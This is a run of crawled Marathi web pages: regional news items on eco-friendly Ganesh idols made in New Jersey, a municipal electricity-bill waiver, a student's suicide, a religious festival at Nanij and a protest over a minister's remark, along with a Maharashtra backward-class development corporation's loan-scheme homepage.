बागेवाडी यांनी पर्यावरणपूरक गणेश मूर्तींचा स्टॉल उभा केला आहे.\nकोल्हापूर - गणेश चतुर्थी दोन दिवसांवर आहे. गणेशमूर्तीचे स्टॉल कुंभार गल्लीत आणि इतर ठिकाणी लागले आहेत. महाराष्ट्रभर तर गणेशोत्सवाची धामधूम आहेच; पण चक्क अमेरिकेतील न्यूजर्सी येथे मूळ कोल्हापूरच्या शीतल प्रसाद बागेवाडी यांनी पर्यावरणपूरक गणेश मूर्तींचा स्टॉल उभा केला आहे.\nनोकरी-व्यवसायाच्या निमित्ताने काही महाराष्ट्रीयन अमेरिकेत राहत असले; तरी भारतीय संस्कृतीशी असलेली नाळ ते या ना त्या पद्धतीने जपत आहेत आणि याचाच एक भाग म्हणून शीतल यांनी स्वतः गणेशमूर्ती तयार केल्या आहेत. दोन वर्षांचा अनुभव पाहता न्यू जर्सीच्या आसपास शंभर-दोनशे किलोमीटर परिसरात राहणारे सुमारे ४० भारतीय या मूर्ती प्रतिष्ठापनेसाठी घेऊन जाणार आहेत.\nमूर्ती तयार करताना शीतल यांनी अमेरिकेतील पर्यावरणाचे सर्व निकष पाळले आहेत. मूर्ती विरघळणाऱ्या आहेत आणि रंग रासायनिक नाहीत, याची खबरदारी घेतली आहे. तेथील विसर्जनाची पद्धत सार्वजनिक पाणीसाठ्याऐवजी बागेत, पाण्याच्या बादलीत विसर्जन करण्याची आहे. सर्व मूर्ती एक ते दोन फूट उंचीच्या व बैठ्या सिंहासनावरील आहेत.\nशीतल येथील प्रतिभानगर परिसरातील रेड्याच्या टकरीजवळ राहणाऱ्या. शरद व सुलभा देशपांडे यांच्या त्या कन्या. चित्रकला व शिल्पकलेची त्यांना मुळातच आवड. येथील शिवाजी विद्यापीठातून वाणिज्य शाखेची पदवी आणि दळवीज्‌ आर्टस्‌ इन्स्टिट्यूटमध्ये त्यांनी कलेचे शिक्षण घेतले. विवाहानंतर पती प्रसाद यांच्यासोबत त्या अमेरिकेत गेल्या. पहिले वर्ष त्या गणेशोत्सवात अस्वस्थ राहिल्या. आपण गणेशोत्सवाच्या आनंदाला मुकलो, याची चुटपूट त्यांना लागली. त्यानंतर मात्र त्यांनी स्वतःच गणेशमूर्ती तयार केली आणि तिची प्रतिष्ठापना केली.\nरोज सकाळी-संध्याकाळी शेजारच्या दोन-तीन कुटुंबांतील लोकांना सोबत घेऊन तालासुरात आरतीही होऊ लागली. गेल्या वर्षी त्यांनी स्वतःसाठी आणि इतर परिचितांसाठी मूर्ती तयार केल्या. साधारणपणे २० ते २५ भारतीयांनी या मूर्ती नेऊन गणेशोत्सवाचा आनंद घेतला. यंदा त्यांनी तीस ते पस्तीस सुबक मूर्ती तयार केल्या आहेत. महिनाभर त्यांचे हे काम घरातल्या घरात चालू आहे. आता त्यांच्या मूर्ती तयार झाल्या आहेत. अंगणातच त्यांनी हा स्टॉल मांडला आहे. नुसत्या मूर्तीच नव्हे; तर खीर, मोदक, करंज्यांसाठी लागणारे सर्व साहित्यही आणले आहे. गणेशोत्सवाचे दहा दिवस म्हणजे एक वेगळ्या आनंदाची अनुभूती असते. त्यामुळे अमेरिकेत राहत असलो; तरी आपल्या परीने या सणाचा आनंद घेण्यासाठी त्यांची धडपड आहे.\nगणेशोत्सवासारखा आनंदी सोहळा व धमाल दुसऱ्या सणात नाही. कोल्हापुरात लहानपणापासून गणेशोत्सवात मी सहभागी होत राहिले. मूर्तीची प्रतिष्ठापना, आरास, विसर्जनाची धमाल यात सहभागी झाले. आता मी काही काळ भारतापासून दूर आहे; पण माझ्या परीने केवळ माझ्यासाठी नव्हे, तर इथल्या इतर भारतीयांनाही या सणाचा आनंद घेता यावा, यासाठी मूर्ती तयार केल्या आहेत. - शीतल बागेवाडी\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nदुष्काळातही शेतकरी आशावादी ; ज्वारीची पेरणी सुरू\nकरमाळा : करमाळा तालुक्‍यात पावसाने ओढ दिली आहे. खरिपाची पिके अक्षरशः करपून गेली. काहीही खरीप हाती लागले नाही. तरीही आशावाद जीवंत ठेवत शेतकऱ्यांनी...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00288.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://mahatmaphulecorporation.com/", "date_download": "2018-09-25T17:17:20Z", "digest": "sha1:YC7BDMHAZYR7QTGB5D33KSRJ5AZYKYTC", "length": 20164, "nlines": 159, "source_domain": "mahatmaphulecorporation.com", "title": "मुख्य पृष्ठ | महात्मा फुले मागासवर्ग विकास महामंडळ मर्यादित,मुंबई", "raw_content": "\nमीडिया फोटो व व्हिडिओ\nसंसाधने यादी व सनद\nअनुसूचित जाती व नवबौध्द समाजातील आर्थिकदृष्टया दुर्बल कुटुंबाची आर्थिक उन्नती\nजलद गतीने घडवून आणण्याच्या मुख्य उद्देशाने\nराज्य महामंडळाच्या योजना अंतर्गत कर्ज अनुदान योजन, बीज भांडवल योजना व प्रशिक्षण योजना चालू आहेत.\nऑनलाईन फॉर्म भरण्या ची प्रक्रिया व अधिक माहिती साठी संपर्क साधा.\nकेंद्रीय महामंडळाच्या योजना अंतर्गत कर्ज केंद्रीय महामंडळाच्या योजना, एनएसएफडीसी योजना व एनएसकेएफडीसी योजना चालू आहेत.\nऑनलाईन फॉर्म भरण्या ची प्रक्रिया व अधिक माहिती साठी संपर्क साधा.\nमहात्मा फुले महामंडळ अंतर्गत विभागीय कार्यालयांच्या माहिती साठी संपर्क करणं आता झ्हालाये सोपा.\nमुंबई विभाग, पुणे विभाग, नाशिक विभाग, औरंगाबाद विभाग, अमरावती विभाग, नागपूर विभाग.\n✔ महाराष्ट्र राज्यातील अनुसूचित जाती व नवबौध्द समाजातील आर्थिकदृष्टया दुर्बल कुटुंबाची आर्थिक उन्नती जलद गतीने घडवून आणण्याच्या मुख्य उद्देशाने महाराष्ट्र शासनाने “महात्मा फुले मागासवर्ग विकास महामंडळा” ची कंपनी कायदा अधिनियम १९५६ अन्वये १० जुलै, १९७८ रोजी स्थापना केली आहे.\nमहात्माफुले महामंडळाला खंबीर पाने सांभाळून ठेवणारे व्यक्ती ज्यांनी माघील वर्षात लाभार्त्याना कर्ज उपलब्ध करून देऊन त्यांना रोजगार उपलब्ध करून दिला.\nसामाजिक न्याय व सहाय्य\nमहात्मा फुले मागासवर्ग विकास महामंडळ मर्यादित,मुंबई\nमहाराष्ट्र राज्यातील अनुसूचित जाती व नवबौध्द समाजातील आर्थिकदृष्टया दुर्बल कुटुंबाची आर्थिक उन्नती जलद गतीने घडवून आणण्याच्या मुख्य उद्देशाने महात्मा फुले मागासवर्ग विकास महामंडळा ची स्थापना कंपनी कायदा अधिनियम १९५६ अंतर्गत दिनांक १० जुलै, १९७८ साली झाली.\nआमच्या बद्दल अधिक जाणून घ्या\nमला हे जाणून घेण्यास खूप आनंद झाला होता की कोणतीही अट किंवा मापदंडाची नाही. प्रत्येक गोष्ट ऑनलाइन आहे आणि त्रासाशिवाय विनामूल्य आहे. मला नवीन कपड्याच्या दुकानासाठी कर्ज मिळू शकले.\nमहात्मा फुले मागासवर्ग विकास महामंडळ मधून मिळालेल्या कर्जावर मी माझे वाहतूक वाहन घेतले व व्याजाच्या निम्म्या दराने फेडण्यास सक्षम होते. संपूर्ण मुंबईतील कोणतेही बँक मला कर्ज देण्यास तयार नव्हते, जे महात्मा फुले महामंडळाने दिले आहे.\nकर्जाची निधी आमच्या यशासाठी एक महत्वाचा भागीदार आहे आणि आमच्या कंपनीच्या वाढीसाठी आणि भविष्यासाठी एक अमूल्य मालमत्ता आहे\nमहात्मा फुले मागासवर्ग विकास महामंडळसह काम करताना मला माझ्या व्यवसायाची योजना, कल्पना आणि ब्रॅण्ड विकसित करण्यास मदत मिळाली, जेणेकरुन मला माझे कर्ज प्राप्त झाल्यावर यशस्वी व्यवसाय उघडण्यासाठी तयार करण्यात आले\nमहात्मा फुले मागासवर्ग विकास महामंडळ मला महत्वाच्या वेळी माझ्या व्यवसायाची पुनर्स्थापना करण्यासाठी आणि विस्तारासाठी अविश्वसनीय संधीचा लाभ घेण्यास सक्षम झाला. महात्मा फुले मागासवर्ग विकास महामंडळ कर्मचार्यांकडून मिळालेला पाठिंबा अवाढव्य होता\nलोक आम्हाला का निवडतात\nअँप्लिकेशन फॉर्म भरल्या नंतर फॉर्म डाउनलोड करून १५ दिवसात जवळच्या कार्यालयात ओरीजिनल कागद्पर्त्रने संपर्क करणे.\nदस्तऐवज तपासणी करताना कार्यालये मधून संपर्क करून जागा व दस्तऐवज तपासणी करण्यात येईल.\nफॉर्म भरताना कोणतीही या सलंगाना माहिती भरू नाहीये अथवा फॉर्म रिजेक्ट करण्यात येईल.\nमहामंडळामार्फत राबविण्यात येत असलेल्या योजना\nया योजनेअंतर्गत रु.50,000/- पर्यंत प्रकल्प गुंतवणूक असणा-या व्यवसायांना आर्थिक सहाय्य दिले जाते. यामध्ये रु.10,000/- पर्यंत किंवा 50% अनुदान महामंडळाकडून व 50% रक्कम कर्जरुपाने राष्ट्रीयीकृत बँकेकडून दिली जाते.\nया योजनेअंतर्गत रु.5 लाखापर्यंत गुंतवणूक असणारे प्रकल्प घेतले जातात. महामंडळाकडून 20% बीज भांडवल रक्कम उपलब्ध करुन दिली जाते. प्रकल्प रकमेच्या 5% रक्कम स्वत:चा सहभाग म्हणून अर्जदाराने भरावयाची आहे.\nसदर योजनेअंतर्गत विद्यार्थ्यांना स्वयंरोजगार करण्याचे द्दष्टीने प्रशिक्षण दिले जाते. साधारणपणे प्रशिक्षण फी प्रति उमेदवार व्यवसायाच्या स्वरुपानुसार ठरविण्यांत येते. प्रामुख्याने खालील व्यवसायाकरीता प्रशिक्षण देण्यांत येते.\nसदर योजनेंतर्गत विविध व्यवसायाकरिता नॅशनल स्चेडूलड कास्ट्स फायनान्स अँड डेव्हलोपमेन्ट कोर्पोरेशन (एन.एस.एफ.डी.सी.) मार्फत रु.30 लक्ष पर्यंत गुंतवणूक असलेल्या योजनांना मुदती कर्ज दिले जाते.\nया योजनेंतर्गत प्रकल्प किंमत रु.50,000/- पर्यंत प्रत्येक लाभार्थींला आर्थिक सहाय्य दिले जाते. व्याजाचा दर 5% आहे. योजनेची एन.जी.ओ.मार्फत सुध्दा अंमलबजावणी केल्या जावू शकते. वसुलीचा कालावधी 3 वर्षाचा राहतो.\nया योजनेंतर्गत महिलांकरीता प्रकल्प किंमत रु.50,000/- पर्यंतच्या प्रकल्पांना अर्थसहाय्य दिले जाते. यात व्याजाचा दर 4% आकारण्यात येतो. वसुलीचा कालावधी तीन वर्षाचा राहतो.\nउच्च शैक्षणीक कर्ज योजना\nएनएसएफडीसी, नवी दिल्ली यांच्यामार्फत व्यावसायिक व तांत्रिक उच्च शिक्षणाकरिता देशात तसेच परदेशात शिक्षण घेण्यासाठी कर्ज उपलब्ध करुन देण्यांत येते.\nया योजनेंतर्गत रु.75,000/- कर्ज मर्यादेपर्यंत विविध व्यवसायाकरीता महिला लाभार्थींना अर्थसहाय्य करण्यात येते. यामध्ये एनएसकेएफडीसी कडून 20% रक्कम तर 10% रक्कम अर्जदाराचा सहभाग म्हणून घेण्यात येतो.\nमहात्मा फुले मागासवर्ग विकास महामंडळ सन १९७८ पासून\nअनुदान / बीज भांडवल योजना :या योजनेअंतर्गत रु.50,000/- पर्यंत प्रकल्प गुंतवणूक असणा-या व्यवसायांना आर्थिक सहाय्य दिले जाते. यामध्ये रु.10,000/- पर्यंत किंवा 50% अनुदान महामंडळाकडून व 50% रक्कम कर्जरुपाने राष्ट्रीयीकृत बँकेकडून दिली जाते. सन 1978 ते जानेवारी 2017 पर्यंत एकूण 5,51,297 लाभार्थ्यांना रु. 26,278.87 लाख इतका लाभ देण्यात आलेला आहे.\nमहामंडळाचा उद्देश व महामंडळाचे ध्येय जाणून घ्या करिता इथे क्लिक करा.\nमहामंडळाचे महत्वाचे व्यक्तीचे नाव व पद जाणून घ्या करिता इथे क्लिक करा.\nराज्य महामंडळाच्या योजना व केंद्रीय महामंडळाच्या योजना जाणून घ्या करिता इथे क्लिक करा.\nमुंबई, पुणे, नाशिक, औरंगाबाद, अमरावती, नागपूर विभागीय कार्यालय संपर्क साठी इथे क्लिक करा.\nमहाराष्ट्र राज्यातील अनुसूचित जाती व नवबौध्द समाजातील आर्थिकदृष्टया दुर्बल कुटुंबाची आर्थिक उन्नती जलद गतीने घडवून आणण्याच्या मुख्य उद्देशाने महाराष्ट्र शासनाने \"महात्मा फुले मागासवर्ग विकास महामंडळा\" ची कंपनी कायदा अधिनियम 1956 अन्वये 10 जुलै,1978 रोजी स्थापना केली आहे.\nपत्ता: बॅरॅक नं.१८, सचिवालय जिमखान्यामागे, बॅकबे रेक्लमेशन,मुंबई-४०० ०२१.\nदूरध्वनी क्रमांक: (०२२) २२०२३७९१\n- व्हिसिटर काउंटर :\n- सोशिअल लिंक्स :\nपत्ता :जुहू सुप्रिम शॉपिंग सेंटर, गुलमोहर क्रॉस रोड नं. ९, जे.व्ही.पी.डी.स्कीम, जुहू, मुंबई-४०० ०४९.\nडाउनलोड अँड्रॉईड अँप :\nकॉपीराइट© २०१८ महात्मा फुले मागासवर्ग विकास महामंडळ मर्यादित, मुंबई, सर्व हक्क राखीव.\nवापरण्याच्या अटी गोपनीयता आणि सुरक्षा विधान", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00288.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/80-crores-waived-in-Tired-electricity-bills/", "date_download": "2018-09-25T16:57:15Z", "digest": "sha1:QEYWZMVAMJJKA735VXZ532GXDFVDLTKY", "length": 6875, "nlines": 37, "source_domain": "www.pudhari.news", "title": " थकित वीज बिलातील ८० कोटी माफ! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › थकित वीज बिलातील ८० कोटी माफ\nथकित वीज बिलातील ८० कोटी माफ\nमहापालिका पाणी योजनेच्या वर्षानुवर्षे थकीत असलेल्या 169.63 कोटींच्या वीजबिलातील 80.24 कोटींचे दंड व व्याज माफ करण्याचा मूळ मुद्दलातील 50 टक्के रक्कम (44.69 कोटी) 10 समान हप्त्यात जमा करण्याचा प्रस्ताव ‘महावितरण’ने महापालिका प्रशासनाला दिला आहे. दंड व व्याजात 100 टक्के सवलत मिळविण्यासाठी मात्र, मनपाला दरमहा 4.46 कोटींचा हप्ता न चुकता भरावा लागणार असल्याचे ‘महावितरण’कडून स्पष्ट करण्यात आले आहे.\nशहर पाणीपुरवठा योजनेच्या वीजबिलाची चालू बिलांसह 169 कोटी 63 लाख 38 हजार 310 रुपयांची थकबाकी आहे. त्यात 80 कोटी 24 लाख 69 हजार 608 रुपयांच्या दंड व व्याजाचा समावेश असून 89 कोटी 38 लाख 68 हजार 702 रुपये थकबाकीची मूळ मुद्दल आहे. राज्य शासनाने 16 मे रोजी दिलेल्या आदेशानुसार महापालिकेच्या वीजबिलाच्या थकबाकीतील मुद्दलाची 50 टक्के रक्कम 14 व्या वित्त आयोगाच्या अनुदानातून उपलब्ध होणार्‍या निधीतून ‘महावितरण’ला अदा केली जाणार आहे. तर उर्वरीत 50 टक्के रक्कम महापालिकेलाच भरावी लागणार असून त्यासाठी समान हप्ते करुन देण्याचे निर्देश उर्जा विभागाने महावितरण कंपनीला दिले होते. त्यानुसार महावितरणकडून महापालिकेला प्रस्ताव सादर झाला आहे.\n89.38 कोटींच्या मूळ मुद्दलापैकी 44.69 कोटी रुपये 14 व्या वित्त आयोगातून अदा केले जाणार आहेत. तर उर्वरीत 44.69 कोटी रुपये जून 2018 ते मार्च 2019 या 10 महिन्यांत दरमहा 4.46 कोटी या प्रमाणे महापालिकेला अदा करावे लागणार आहे. मनपाने नियमित हप्ते अदा केल्यास थकबाकीवरील 80.24 कोटींचे दंड व व्याज माफ होणार आहे. मात्र, मनपाने हप्ते न भरल्यास वीजपुरवठा खंडीत करुन कारवाई केली जाईल, असे ‘महावितरण’ने म्हटले आहे. ‘महावितरण’ने दिलेल्या प्रस्तावावर मनपाने संमतीचा प्रस्ताव सादर करावा, असेही त्यांनी म्हटले आहे.\nदरम्यान, मनपाची आर्थिक स्थिती पाहता 4.46 कोटी रुपये दरमहा अदा करणे शक्य नसल्याचे स्पष्ट आहे. त्यामुळे हप्त्यांचा कालावधी वाढवून रक्कम कमी करण्यासाठी मनपाकडून प्रयत्न केले जाण्याची शक्यता आहे. मनपाने नियमित हप्ते फेडल्यास वर्षानुवर्षे प्रलंबित असलेला थकबाकीचा विषय कायमचा मार्गी लागणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00288.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Aurangabad/adesh-Kachru-Kharat-Suicide-issue/", "date_download": "2018-09-25T16:51:20Z", "digest": "sha1:7HXZZA7EFHHUJO435544SQ333HRX2KS4", "length": 6833, "nlines": 37, "source_domain": "www.pudhari.news", "title": " बाबा मी चाललो; परत कधीच भेटणार नाही | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Aurangabad › बाबा मी चाललो; परत कधीच भेटणार नाही\nबाबा मी चाललो; परत कधीच भेटणार नाही\nतो सलीम अली सरोवराच्या काठावर गेला... सुरुवातीला त्याने सेल्फी काढले... नंतर ‘बाबा मी चाललो, यानंतर मी तुम्हाला कधीही भेटणार नाही. मला शोधायचे असेल तर इथेच शोधा’ असा स्वतःचा व्हिडिओ मोबाइलमध्ये रेकॉर्ड केला आणि मोबाइल दुचाकीच्या डिक्‍कीत ठेवला. त्यानंतर त्याने सरोवरात उडी घेऊन आत्महत्या केली. सोमवारी दुपारी 3 वाजता बेपत्ता झालेल्या तरुणाची दुचाकी सलीम अली सरोवराच्या काठावर आढळून आल्यावर मंगळवारी (दि. 6) सकाळी 10 वाजता हा प्रकार समोर आला. अग्निशमन दलाच्या जवानांनी पाच तास शोध मोहीम राबवून सरोवरातून मृतदेह बाहेर काढला.\nआदेश कचरू खरात (22, रा. फुलेनगर, उस्मानपुरा) असे आत्महत्या केलेल्या तरुणाचे नाव आहे. तो चौका (ता. फुलंब्री) येथील रामदास आठवले महाविद्यालयात बी. एस्सी. द्वितीय वर्षात शिक्षण घेत होता. याबाबत पोलिसांकडून मिळालेल्या माहितीनुसार, आदेशची सध्या परीक्षा सुरू होती.\nत्यासाठी सोमवारी सकाळी 10.30 बाबा मी चाललो ... वाजता तो चौका येथे गेला. दुपारी शहरात आल्यावर तो आईसोबत सिटी चौक भागात खरेदीसाठीही गेला. तेथे त्याने आईसोबत सेल्फी काढले; परंतु दुपारी 3 वाजेनंतर तो बेपत्ता झाला. वडिलांसह नातेवाइकांनी त्याच्याशी संपर्क करण्यासाठी अनेकदा फोन लावले; परंतु त्याने एकदाही मोबाइल उचलला नाही. रात्री उशिरापर्यंत त्याची शोधमोहीम सुरूच होती; परंतु काहीही पत्ता लागला नाही. अखेर मंगळवारी सकाळी नातेवाइकांनी उस्मानपुरा ठाणे गाठून आदेश बेपत्ता झाल्याची नोंद केली. त्यावर सहायक फौजदार उपेंद्र कुत्तुर हे अधिक तपास करीत होते.\nआदेश खरात हा अतिशय शांत स्वभावाचा होता. सैराट सिनेमानंतर त्याला नातेवाइकांनी परशा म्हणायला सुरुवात केली होती. त्याच्या पश्‍चात आई-वडील, तीन बहिणी आणि एक भाऊ असा परिवार आहे. त्याचे वडील महापालिकेत ठेकेदारी व्यवसाय करतात. सोमवारी त्याने आई आणि बहिणींसोबत सेल्फी काढल्यानंतर आईने त्याच्या वडिलांना फोन करून ही माहिती दिली होती; पण आदेश सर्वांना सोडून जाईल, याचा साधा कोणी विचारही केला नव्हता.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00288.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/Nanij-today-of-folk-culture-program/", "date_download": "2018-09-25T16:54:21Z", "digest": "sha1:YKSJH3WNVJRVETACTBCSCB6JSXLFZXLQ", "length": 8679, "nlines": 39, "source_domain": "www.pudhari.news", "title": " नाणीजला आज लोकसंस्कृतीचे दर्शन | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › नाणीजला आज लोकसंस्कृतीचे दर्शन\nनाणीजला आज लोकसंस्कृतीचे दर्शन\nश्रीक्षेत्र नाणीजधाम येथे संतशिरोमणी गजानन महाराज यांचा प्रकटदिन व जगद‍्गुरू रामानंदाचार्य यांचा जयंती सोहळा मंगळवारी उत्साहात सुरू झाला. सकाळी श्री विष्णू पंचायत यागाला सुरूवात झाली. त्यानंतर वाजतगाजत निमंत्रण मिरवणुका सुरू झाल्या. या सोहळ्यात बुधवारची शोभायात्रा या उत्सवाचे मुख्य आकर्षण ठरणार आहे.\nयेथील जगद‍्गुरू नरेंद्राचार्यजी महाराज संस्थानतर्फे हा सोहळा साजरा होत आहे. त्यासाठी सुंदरगडावर भाविकांनी मंगळवारी प्रचंड गर्दी केली आहे. संपूर्ण महाराष्ट्र, कर्नाटक, गोवा, मध्यप्रदेश, गुजरात, उत्तर प्रदेश, उत्तराखंड, छत्तीसगडसह इतर राज्यांतूनही भाविक आले आहेत. मंगळवारी उस्मानाबाद व इंचलकरंजी येथून चालत दोन पायी दिंड्या सोहळ्यात सहभागी होण्यासाठी आल्या आहेत. भाविकांच्या गर्दीमुळे सकाळपासून सुंदरगडावर आणखी चैतन्य निर्माण झाले आहे.\nमहाराष्ट्राच्या कानाकोपर्‍यांतून भाविक खास गाड्या करून, रेल्वे व एस. टी. ने दाखल झाले आहेत. रस्त्याच्या दुतर्फा वाहनांच्या रांगा लागल्या आहेत. देशातील प्रमुख आखाड्यांचे साधूसंत येथे सोहळ्यासाठी आवर्जून आले आहेत.\nमंगळवारच्या कार्यक्रमात संतशिरोमणी गजानन महाराज मंदिरापासून दोन निमंत्रण मिरवणुका झाल्या. ढोल-ताशे व संतशिरोमणी गजानन महाराजांचा गजर करीत त्या निघाल्या. पहिलीचे यजमानपद लातूर जिल्हा समितीकडे होते. त्यांनी वरद चिंतामणीला सोहळ्याचे निमंत्रण दिले. दुसरे प्रभूरामाला निमंत्रण देण्यात आले. त्याचे यजमानपद ठाणे शहर सेवा समितीकडे आहे. बुधवारी सकाळी मुख्य गजानन महाराज मंदिर व नाथांचे माहेर येथे बुधवारी सकाळी निमंत्रण देण्यात येणार आहे. त्याचे यजमानपद अनुक्रमे पूर्व व पश्‍चिम जळगाव व पश्‍चिम पालघरकडे आहे.\nबुधवारी सायंकाळी 7 वाजता प. पू. कानिफनाथ महाराज यांचे प्रवचन आहे. त्यानंतर 8.30 वाजता जगद‍्गुरू नरेंद्राचार्यजी महाराज याचे अमृतमय प्रवचन होईल. मंगळवारी सकाळी सद‍्गुरू काडसिद्धेश्‍वर महाराज रुग्णालयात मोफत आरोग्य शिबिर सुरू झाले. त्याचा लाभ भाविक घेत आहेत. राज्यातील नामवंत डॉक्टर या शिबिरात सहभागी झाले आहेत. मंगळवारी दुपारी महाप्रसादाचा लाभ असंख्य भाविकांनी घेतला. या सोहळ्यानिमित्त सुंदरगडावरील गजानन महाराज मंदिरात दर्शनासाठी भाविकांची गर्दी आहे.\nविविध आखाड्यांच्या साधूसंतांचा सहभाग\nबुधवार सोहळ्याचा मुख्य दिवस असेल. त्यात महाराष्ट्र कर्नाटक, गुजरात, मध्यप्रदेश येथील लोककलांचे व कलाकारांचे दर्शन होणार आहे. जगद‍्गुरू नरेंद्राचार्यजी महाराज व देशातील अनेक आखाड्यांचे साधूसंत या शोभायात्रेत सहभागी होणार आहेत. कोकण, पश्‍चिम महाराष्ट्र, विदर्भ, मराठवाड्यातील लोकसंस्कृतीचे दर्शन या शोभायात्रेत घडेल. ती पाहण्यास भाविकांची मोठी गर्दी असते. सकाळी आठ वाजता ही यात्रा नाथांचे माहेर येथून सुरू होणार आहे. दुपारी सुंदरगडावर त्याचा समारोप होणार आहे..\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00288.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Marathwada/Co-operation-Minister-Subhash-Deshmukh-statement-Protest-by-Lingayat-community/", "date_download": "2018-09-25T16:53:49Z", "digest": "sha1:F2C7PWHQW6GHT6ONVHUBUPZYVSKG2XJT", "length": 7236, "nlines": 51, "source_domain": "www.pudhari.news", "title": " सहकारमंत्र्यांच्या\"त्या\" वक्तव्याचा लिंगायत समाजाकडून निषेध | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Marathwada › सहकारमंत्र्यांच्या\"त्या\" वक्तव्याचा लिंगायत समाजाकडून निषेध\nसहकारमंत्र्यांच्या\"त्या\" वक्तव्याचा लिंगायत समाजाकडून निषेध\nलातूर येथील ८ व्या राज्यव्यापी बसव महामेळाव्याच्या उद्‌घाटनप्रसंगी सहकार मंत्री सुभाष देशमुख यांनी सोलापूर विद्यापीठाच्या नामकरणावरून वादग्रस्त वक्तव्य केले होते. \"विद्यापीठाचे नाव बदलून, समाजाला धर्म मागून, जातीला आरक्षण घेऊन कोणाचे पोट भरत नाही.\" असे वक्तव्य सहकार मंत्री देशमुख यांनी केले. या वक्तव्याचा लिंगायत समाजाच्या विविध संघटनांनी जाहीर निषेध केला, तर देशमुखांनी लिंगायत समाजाची जाहीर माफी मागावी अन्यथा याचे तीव्र पडसाद राज्यभर उमटतील असा इशारा लिंगायत समाजाच्यावतीने देण्यात आला आहे.\nसहकार मंत्री यांनी केलेल्या या वक्तव्याच्या संदर्भात लातूर येथे लिंगायत समाजाच्यावतीने विविध संघटनांची बैठक घेण्यात 